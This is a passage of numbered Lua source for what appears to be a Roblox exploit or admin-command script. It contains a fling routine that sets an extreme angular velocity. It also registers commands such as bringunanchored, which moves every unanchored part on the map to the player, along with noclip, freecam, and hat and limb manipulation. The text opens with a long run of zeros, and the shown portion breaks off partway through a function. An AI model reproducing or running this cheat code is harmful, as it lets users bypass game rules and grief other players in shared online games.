0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 |
1823 | BAV.AngularVelocity = Vector3.new(9990000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000,9990000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000,9990000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000) |
1824 | end |
1825 | wait(.3) |
1826 | player.Torso.Anchored = false |
1827 | while wait(.3) do |
1828 | if handle:FindFirstChild("BP",true) then |
1829 | handle.CanCollide = false |
1830 | end |
1831 | BP.Position = game.Players.LocalPlayer.Character.HumanoidRootPart.Position + Vector3.new(0,y,0) |
1832 | wait(.3) |
1833 | if handle:FindFirstChild("BP",true) then |
1834 | handle.CanCollide = false |
1835 | end |
1836 | BP.Position = game.Players.LocalPlayer.Character.HumanoidRootPart.Position + Vector3.new(0,y2,0) |
1837 | end |
1838 | end |
1839 | end |
1840 | end) |
1841 | end |
1842 | end) |
1843 | |
1844 | cmd.add({"bringunanchored"}, {"bringunanchored", "brings every unanchored part on the map"}, function() |
1845 | for _,v in pairs(workspace:GetDescendants()) do |
1846 | if v:IsA("BasePart") and v.Anchored==false then |
1847 | v.CFrame=game:GetService("Players").LocalPlayer.Character.Head.CFrame |
1848 | end |
1849 | end |
1850 | end) |
1851 | |
1852 | cmd.add({"spin"}, {"spin <number>", "spins your character"}, function() |
1853 | |
1854 | end) |
1855 | |
1856 | cmd.add({"noclip", "nclip", "nc"}, {"noclip", "Disable your player's collision"}, function() |
1857 | if connections["noclip"] then lib.disconnect("noclip") return end |
1858 | lib.connect("noclip", RunService.Stepped:Connect(function() |
1859 | if not character then return end |
1860 | for i, v in pairs(character:GetDescendants()) do |
1861 | if v:IsA("BasePart") then |
1862 | v.CanCollide = false |
1863 | end |
1864 | end |
1865 | end)) |
1866 | end) |
1867 | cmd.add({"clip", "c"}, {"clip", "Enable your player's collision"}, function() |
1868 | lib.disconnect("noclip") |
1869 | end) |
1870 | |
1871 | cmd.add({"freecam", "fc", "fcam"}, {"freecam [speed]", "Enable free camera"}, function(speed) |
1872 | if not speed then speed = 5 end |
1873 | if connections["freecam"] then lib.disconnect("freecam") camera.CameraSubject = character wrap(function() character.PrimaryPart.Anchored = false end) end |
1874 | local dir = {w = false, a = false, s = false, d = false} |
1875 | local cf = Instance.new("CFrameValue") |
1876 | local camPart = Instance.new("Part") |
1877 | camPart.Transparency = 1 |
1878 | camPart.Anchored = true |
1879 | camPart.CFrame = camera.CFrame |
1880 | wrap(function() |
1881 | character.PrimaryPart.Anchored = true |
1882 | end) |
1883 | |
1884 | lib.connect("freecam", RunService.RenderStepped:Connect(function() |
1885 | local primaryPart = camPart |
1886 | camera.CameraSubject = primaryPart |
1887 | |
1888 | local x, y, z = 0, 0, 0 |
1889 | if dir.w then z = -1 * speed end |
1890 | if dir.a then x = -1 * speed end |
1891 | if dir.s then z = 1 * speed end |
1892 | if dir.d then x = 1 * speed end |
1893 | if dir.q then y = 1 * speed end |
1894 | if dir.e then y = -1 * speed end |
1895 | |
1896 | primaryPart.CFrame = CFrame.new( |
1897 | primaryPart.CFrame.p, |
1898 | (camera.CFrame * CFrame.new(0, 0, -100)).p |
1899 | ) |
1900 | |
1901 | local moveDir = CFrame.new(x,y,z) |
1902 | cf.Value = cf.Value:lerp(moveDir, 0.2) |
1903 | primaryPart.CFrame = primaryPart.CFrame:lerp(primaryPart.CFrame * cf.Value, 0.2) |
1904 | end)) |
1905 | lib.connect("freecam", UserInputService.InputBegan:Connect(function(input, event) |
1906 | if event then return end |
1907 | local code, codes = input.KeyCode, Enum.KeyCode |
1908 | if code == codes.W then |
1909 | dir.w = true |
1910 | elseif code == codes.A then |
1911 | dir.a = true |
1912 | elseif code == codes.S then |
1913 | dir.s = true |
1914 | elseif code == codes.D then |
1915 | dir.d = true |
1916 | elseif code == codes.Q then |
1917 | dir.q = true |
1918 | elseif code == codes.E then |
1919 | dir.e = true |
1920 | elseif code == codes.Space then |
1921 | dir.q = true |
1922 | end |
1923 | end)) |
1924 | lib.connect("freecam", UserInputService.InputEnded:Connect(function(input, event) |
1925 | if event then return end |
1926 | local code, codes = input.KeyCode, Enum.KeyCode |
1927 | if code == codes.W then |
1928 | dir.w = false |
1929 | elseif code == codes.A then |
1930 | dir.a = false |
1931 | elseif code == codes.S then |
1932 | dir.s = false |
1933 | elseif code == codes.D then |
1934 | dir.d = false |
1935 | elseif code == codes.Q then |
1936 | dir.q = false |
1937 | elseif code == codes.E then |
1938 | dir.e = false |
1939 | elseif code == codes.Space then |
1940 | dir.q = false |
1941 | end |
1942 | end)) |
1943 | end) |
1944 | cmd.add({"unfreecam", "unfc", "unfcam"}, {"unfreecam", "Disable free camera"}, function() |
1945 | lib.disconnect("freecam") |
1946 | camera.CameraSubject = character |
1947 | wrap(function() |
1948 | character.PrimaryPart.Anchored = false |
1949 | end) |
1950 | end) |
1951 | |
1952 | cmd.add({"drophats"}, {"drophats", "Drop all of your hats"}, function() |
1953 | for _, hat in pairs(character:GetChildren()) do |
1954 | if hat:IsA("Accoutrement") then |
1955 | hat.Parent = workspace |
1956 | end |
1957 | end |
1958 | end) |
1959 | |
1960 | cmd.add({"hatspin"}, {"hatspin <height>", "Make your hats spin"}, function(h) |
1961 | local head = character:FindFirstChild("Head") |
1962 | if not head then return end |
1963 | for _, hat in pairs(character:GetChildren()) do |
1964 | if hat:IsA("Accoutrement") and hat:FindFirstChild("Handle") then |
1965 | local handle = hat.Handle |
1966 | handle:BreakJoints() |
1967 | |
1968 | local align = Instance.new("AlignPosition") |
1969 | local a0, a1 = Instance.new("Attachment"), Instance.new("Attachment") |
1970 | align.Attachment0, align.Attachment1 = a0, a1 |
1971 | align.RigidityEnabled = true |
1972 | a1.Position = Vector3.new(0, tonumber(h) or 0.5, 0) |
1973 | lock(align, handle); lock(a0, handle); lock(a1, head); |
1974 | |
1975 | local angular = Instance.new("BodyAngularVelocity") |
1976 | angular.AngularVelocity = Vector3.new(0, math.random(100, 160)/16, 0) |
1977 | angular.MaxTorque = Vector3.new(0, 400000, 0) |
1978 | lock(angular, handle); |
1979 | end |
1980 | end |
1981 | end) |
1982 | |
1983 | cmd.add({"hatorbit"}, {"hatorbit [height] [distance]", "Make your hats orbit around your head"}, function(h, d) |
1984 | local head = character:FindFirstChild("Head") |
1985 | if not head then return end |
1986 | local i = 3 |
1987 | for _, hat in pairs(character:GetChildren()) do |
1988 | if hat:IsA("Accoutrement") and hat:FindFirstChild("Handle") then |
1989 | local handle = hat.Handle |
1990 | handle:BreakJoints() |
1991 | |
1992 | local align = Instance.new("AlignPosition") |
1993 | local a0, a1 = Instance.new("Attachment"), Instance.new("Attachment") |
1994 | align.Attachment0, align.Attachment1 = a0, a1 |
1995 | align.RigidityEnabled = true |
1996 | lock(align, handle); lock(a0, handle); lock(a1, head); |
1997 | i = i + 0.5 |
1998 | local n = tonumber(d) or i |
1999 | wrap(function() |
2000 | local rotX, rotY = 0, math.pi/2 |
2001 | local speed = math.random(25, 100)/1000 |
2002 | while handle and handle.Parent do |
2003 | rotX, rotY = rotX + speed, rotY + speed |
2004 | a1.Position = Vector3.new(math.sin(rotX) * (n), tonumber(h) or 0, math.sin(rotY) * (n)) |
2005 | RunService.RenderStepped:Wait(0) |
2006 | end |
2007 | end) |
2008 | end |
2009 | end |
2010 | end) |
2011 | |
2012 | cmd.add({"limbbounce"}, {"limbbounce [height] [distance]", "Make your limbs bounce around your head"}, function(h, d) |
2013 | local head = character:FindFirstChild("Head") |
2014 | if not head then return end |
2015 | local i = 2 |
2016 | for _, part in pairs(character:GetDescendants()) do |
2017 | local name = part.Name:lower() |
2018 | if part:IsA("BasePart") and not part.Parent:IsA("Accoutrement") and not name:find("torso") and not name:find("head") and not name:find("root") then |
2019 | i = i + math.random(15,50)/100 |
2020 | part:BreakJoints() |
2021 | local n = tonumber(d) or i |
2022 | |
2023 | local align = Instance.new("AlignPosition") |
2024 | local a0, a1 = Instance.new("Attachment"), Instance.new("Attachment") |
2025 | align.Attachment0, align.Attachment1 = a0, a1 |
2026 | align.RigidityEnabled = true |
2027 | lock(align, part); lock(a0, part); lock(a1, head); |
2028 | |
2029 | wrap(function() |
2030 | local rotX = 0 |
2031 | local speed = math.random(350, 750)/10000 |
2032 | while part and part.Parent do |
2033 | rotX = rotX + speed |
2034 | a1.Position = Vector3.new(0, (tonumber(h) or 0) + math.sin(rotX) * n, 0) |
2035 | RunService.RenderStepped:Wait(0) |
2036 | end |
2037 | end) |
2038 | end |
2039 | end |
2040 | end) |
2041 | |
2042 | cmd.add({"limborbit"}, {"limborbit [height] [distance]", "Make your limbs orbit around your head"}, function(h, d) |
2043 | local head = character:FindFirstChild("Head") |
2044 | if not head then return end |
2045 | local i = 2 |
2046 | for _, part in pairs(character:GetDescendants()) do |
2047 | local name = part.Name:lower() |
2048 | if part:IsA("BasePart") and not part.Parent:IsA("Accoutrement") and not name:find("torso") and not name:find("head") and not name:find("root") then |
2049 | i = i + math.random(15,50)/100 |
2050 | part:BreakJoints() |
2051 | local n = tonumber(d) or i |
2052 | |
2053 | local align = Instance.new("AlignPosition") |
2054 | local a0, a1 = Instance.new("Attachment"), Instance.new("Attachment") |
2055 | align.Attachment0, align.Attachment1 = a0, a1 |
2056 | align.RigidityEnabled = true |
2057 | lock(align, part); lock(a0, part); lock(a1, head); |
2058 | |
2059 | wrap(function() |
2060 | local rotX, rotY = 0, math.pi/2 |
2061 | local speed = math.random(35, 75)/1000 |
2062 | while part and part.Parent do |
2063 | rotX, rotY = rotX + speed, rotY + speed |
2064 | a1.Position = Vector3.new(math.sin(rotX) * (n), tonumber(h) or 0, math.sin(rotY) * (n)) |
2065 | RunService.RenderStepped:Wait(0) |
2066 | end |
